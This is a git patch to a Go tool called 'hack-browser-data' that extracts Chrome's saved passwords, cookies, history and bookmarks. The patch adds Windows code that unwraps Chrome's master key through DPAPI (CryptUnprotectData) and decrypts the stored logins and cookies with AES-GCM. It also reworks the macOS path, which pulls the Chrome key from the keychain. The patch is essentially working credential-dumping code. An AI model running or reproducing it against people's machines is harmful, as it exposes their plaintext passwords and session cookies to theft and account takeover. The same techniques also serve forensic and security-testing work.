From 31419dc003c788de0df523cb6349e6574c1546da Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Thu, 25 Jun 2020 17:37:18 +0800 Subject: [PATCH] feat: add error warp --- cmd/cmd.go | 15 ++---- core/common/common.go | 33 +++++------- log/log.go | 2 +- main.go | 40 --------------- utils/utils.go | 20 +++++++- utils/utils_darwin.go | 21 ++++++-- utils/utils_linux.go | 1 + utils/utils_windows.go | 114 +++++++++++++++++++++++++++++++++++++---- 8 files changed, 159 insertions(+), 87 deletions(-) create mode 100644 utils/utils_linux.go diff --git a/cmd/cmd.go b/cmd/cmd.go index 0b5414b..8575d00 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -6,7 +6,6 @@ import ( "hack-browser-data/utils" "os" "path/filepath" - "runtime" "github.com/urfave/cli/v2" ) @@ -34,14 +33,7 @@ func Execute() { Action: func(c *cli.Context) error { log.InitLog() utils.MakeDir(exportDir) - switch runtime.GOOS { - case "darwin": - err := utils.InitChromeKey() - if err != nil { - } - case "windows": - } var fileList []string switch exportData { case "all": @@ -49,7 +41,11 @@ func Execute() { case "password", "cookie", "history", "bookmark": fileList = utils.GetDBPath(exportData) default: - log.Fatal("choose one all|password|cookie|history|bookmark") + log.Fatal("choose one from all|password|cookie|history|bookmark") + } + err := utils.InitChromeKey() + if err != nil { + panic(err) } for _, v := range fileList { @@ -72,7 +68,6 @@ func Execute() { log.Error(err) } } - return nil }, } diff --git a/core/common/common.go b/core/common/common.go index de6aa5c..e8d95b5 100644 --- a/core/common/common.go +++ b/core/common/common.go @@ -47,18 +47,18 @@ type ( History []*History } LoginData struct { - UserName string `json:"user_name"` - encryptPass []byte - Password string `json:"password"` - LoginUrl string `json:"login_url"` - CreateDate time.Time `json:"create_date"` + UserName string + EncryptPass []byte + Password string + LoginUrl string + CreateDate time.Time } Bookmarks struct { - ID string `json:"id"` - DateAdded time.Time `json:"date_added"` - URL string `json:"url"` - Name string `json:"name"` - Type string `json:"type"` + ID string + DateAdded time.Time + URL string + Name string + Type string } Cookies struct { KeyName string @@ -262,14 +262,11 @@ func parseLogin() { err = rows.Scan(&url, &username, &pwd, &create) login = &LoginData{ UserName: username, - encryptPass: pwd, + EncryptPass: pwd, LoginUrl: url, CreateDate: utils.TimeEpochFormat(create), } - if len(pwd) > 3 { - // remove prefix 'v10' - password, err = utils.Aes128CBCDecrypt(pwd[3:]) - } + password, err = utils.DecryptChromePass(pwd) login.Password = password if err != nil { log.Println(err) @@ -319,10 +316,8 @@ func parseCookie() { CreateDate: utils.TimeEpochFormat(createDate), ExpireDate: utils.TimeEpochFormat(expireDate), } - if len(encryptValue) > 3 { - // remove prefix 'v10' - value, err = utils.Aes128CBCDecrypt(encryptValue[3:]) - } + // remove prefix 'v10' + value, err = utils.DecryptChromePass(encryptValue) cookies.Value = value cookieList = append(cookieList, cookies) } diff --git a/log/log.go b/log/log.go index f6bfa8a..4dbf896 100644 --- a/log/log.go +++ b/log/log.go @@ -43,7 +43,7 @@ func newCore(level string) zapcore.Core { MessageKey: "msg", StacktraceKey: "stacktrace", LineEnding: zapcore.DefaultLineEnding, - EncodeLevel: zapcore.CapitalColorLevelEncoder, + EncodeLevel: zapcore.CapitalLevelEncoder, EncodeTime: zapcore.ISO8601TimeEncoder, EncodeDuration: zapcore.SecondsDurationEncoder, // EncodeCaller: zapcore.ShortCallerEncoder, diff --git a/main.go b/main.go index bd0c737..a8c3b94 100644 --- a/main.go +++ b/main.go @@ -1,49 +1,9 @@ package main import ( - "encoding/json" - "fmt" "hack-browser-data/cmd" - "hack-browser-data/core/common" - "hack-browser-data/log" - "hack-browser-data/utils" - "path/filepath" - "runtime" ) func main() { cmd.Execute() } - -func parse() { - osName := runtime.GOOS - switch osName { - case "darwin": - err := utils.InitChromeKey() - if err != nil { - log.Println(err) - panic("init chrome key failed") - } - case "windows": - fmt.Println("Windows") - } - chromePath := utils.GetDBPath(utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies) - for _, v := range chromePath { - dst := filepath.Base(v) - err := utils.CopyDB(v, dst) - if err != nil { - log.Println(err) - continue - } - common.ParseDB(dst) - } - fmt.Println("bookmarks", len(common.FullData.Bookmarks)) - fmt.Println("cookies", len(common.FullData.Cookies)) - fmt.Println("login data", len(common.FullData.LoginData)) - fmt.Println("history", len(common.FullData.History)) - d, err := json.MarshalIndent(common.FullData.Bookmarks, "", "\t") - err = utils.WriteFile("data.json", d) - if err != nil { - log.Println(err) - } -} diff --git a/utils/utils.go b/utils/utils.go index 8e6b6d7..c149ef1 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -1,6 +1,7 @@ package utils import ( + "errors" "fmt" "hack-browser-data/log" "io/ioutil" @@ -11,6 +12,23 @@ import ( "time" ) +var ( + passwordIsEmpty = errors.New("decrypt fail, password is empty") +) + +type DecryptError struct { + err error + msg string +} + +func (e *DecryptError) Error() string { + return fmt.Sprintf("%s: %s", e.msg, e.err) +} + +func (e *DecryptError) Unwrap() error { + return e.err +} + const ( LoginData = "Login Data" History = "History" @@ -49,7 +67,7 @@ func IntToBool(a int) bool { func TimeEpochFormat(epoch int64) time.Time { maxTime := int64(99633311740000000) - if epoch > maxTime{ + if epoch > maxTime { epoch = maxTime } t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC) diff --git a/utils/utils_darwin.go b/utils/utils_darwin.go index fc59ad8..d9c5066 100644 --- a/utils/utils_darwin.go +++ b/utils/utils_darwin.go @@ -6,6 +6,7 @@ import ( "crypto/cipher" "crypto/sha1" "errors" + "fmt" "hack-browser-data/log" "os/exec" "path/filepath" @@ -22,7 +23,6 @@ var ( command = []string{"security", "find-generic-password", "-wa", "Chrome"} chromeSalt = []byte("saltysalt") chromeKey []byte - chromePass []byte ) func GetDBPath(dbName ...string) (dbFile []string) { @@ -58,16 +58,27 @@ func InitChromeKey() error { log.Println(err) } temp := stdout.Bytes() - chromePass = temp[:len(temp)-1] - decryptPass(chromePass) + chromePass := temp[:len(temp)-1] + decryptChromeKey(chromePass) return err } -func decryptPass(chromePass []byte) { +func decryptChromeKey(chromePass []byte) { chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) } -func Aes128CBCDecrypt(encryptPass []byte) (string, error) { +func DecryptChromePass(encryptPass []byte) (string, error) { + if len(encryptPass) > 3 { + return aes128CBCDecrypt(encryptPass[3:]) + } else { + return "", &DecryptError{ + err: passwordIsEmpty, + msg: fmt.Sprintf("password is %s", string(encryptPass)), + } + } +} + +func aes128CBCDecrypt(encryptPass []byte) (string, error) { if len(chromeKey) == 0 { return "", nil } diff --git a/utils/utils_linux.go b/utils/utils_linux.go new file mode 100644 index 0000000..d4b585b --- /dev/null +++ b/utils/utils_linux.go @@ -0,0 +1 @@ +package utils diff --git a/utils/utils_windows.go b/utils/utils_windows.go index b0b94c7..5dbe650 100644 --- a/utils/utils_windows.go +++ b/utils/utils_windows.go @@ -1,26 +1,118 @@ package utils -const ( - winChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/" +import ( + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "hack-browser-data/log" + "os" + "path/filepath" + "syscall" + "unsafe" + + "github.com/tidwall/gjson" ) -func GetDBPath(dbName string) string { - s, err := filepath.Glob(winChromeDir + dbName) - if err != nil && len(s) == 0 { - panic(err) +const ( + winChromeKeyDir = "/AppData/Local/Google/Chrome/User Data/Local State" + winChromeDir = "/AppData/Local/Google/Chrome/User Data/*/" +) + +var ( + chromeKey []byte +) + +func InitChromeKey() error { + chromeKeyPath := os.Getenv("USERPROFILE") + winChromeKeyDir + keyFile, err := ReadFile(chromeKeyPath) + if err != nil { + log.Error(err) + return err } - return s[0] + s := gjson.Get(keyFile, "os_crypt.encrypted_key").String() + masterKey, err := base64.StdEncoding.DecodeString(s) + if err != nil { + return err + } + chromeKey, err = decryptStringWithDPAPI(masterKey[5:]) + return err } -func AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { +func GetDBPath(dbName ...string) (dbFile []string) { + var dbPath []string + chromeDBPath := os.Getenv("USERPROFILE") + winChromeDir + for _, v := range dbName { + dbPath = append(dbPath, chromeDBPath+v) + } + for _, v := range dbPath { + s, err := filepath.Glob(v) + if err != nil && len(s) == 0 { + continue + } + if len(s) > 0 { + log.Debugf("Find %s File Success", v) + log.Debugf("%s file location is %s", v, s[0]) + dbFile = append(dbFile, s[0]) + } + } + return dbFile +} + +func DecryptChromePass(encryptPass []byte) (string, error) { + if len(encryptPass) > 15 { + // remove prefix 'v10' + return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15]) + } else { + return "", passwordIsEmpty + } +} + +// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc +func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) { block, err := aes.NewCipher(key) if err != nil { - return nil, err + return "", err } blockMode, _ := cipher.NewGCM(block) origData, err := blockMode.Open(nil, nounce, crypted, nil) - if err != nil{ + if err != nil { + return "", err + } + return string(origData), nil +} + +type DataBlob struct { + cbData uint32 + pbData *byte +} + +func NewBlob(d []byte) *DataBlob { + if len(d) == 0 { + return &DataBlob{} + } + return &DataBlob{ + pbData: &d[0], + cbData: uint32(len(d)), + } +} + +func (b *DataBlob) ToByteArray() []byte { + d := make([]byte, b.cbData) + copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) + return d +} + +// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82 +func decryptStringWithDPAPI(data []byte) ([]byte, error) { + dllCrypt := syscall.NewLazyDLL("Crypt32.dll") + dllKernel := syscall.NewLazyDLL("Kernel32.dll") + procDecryptData := dllCrypt.NewProc("CryptUnprotectData") + procLocalFree := dllKernel.NewProc("LocalFree") + var outBlob DataBlob + r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) + if r == 0 { return nil, err } - return origData, nil + defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) + return outBlob.ToByteArray(), nil }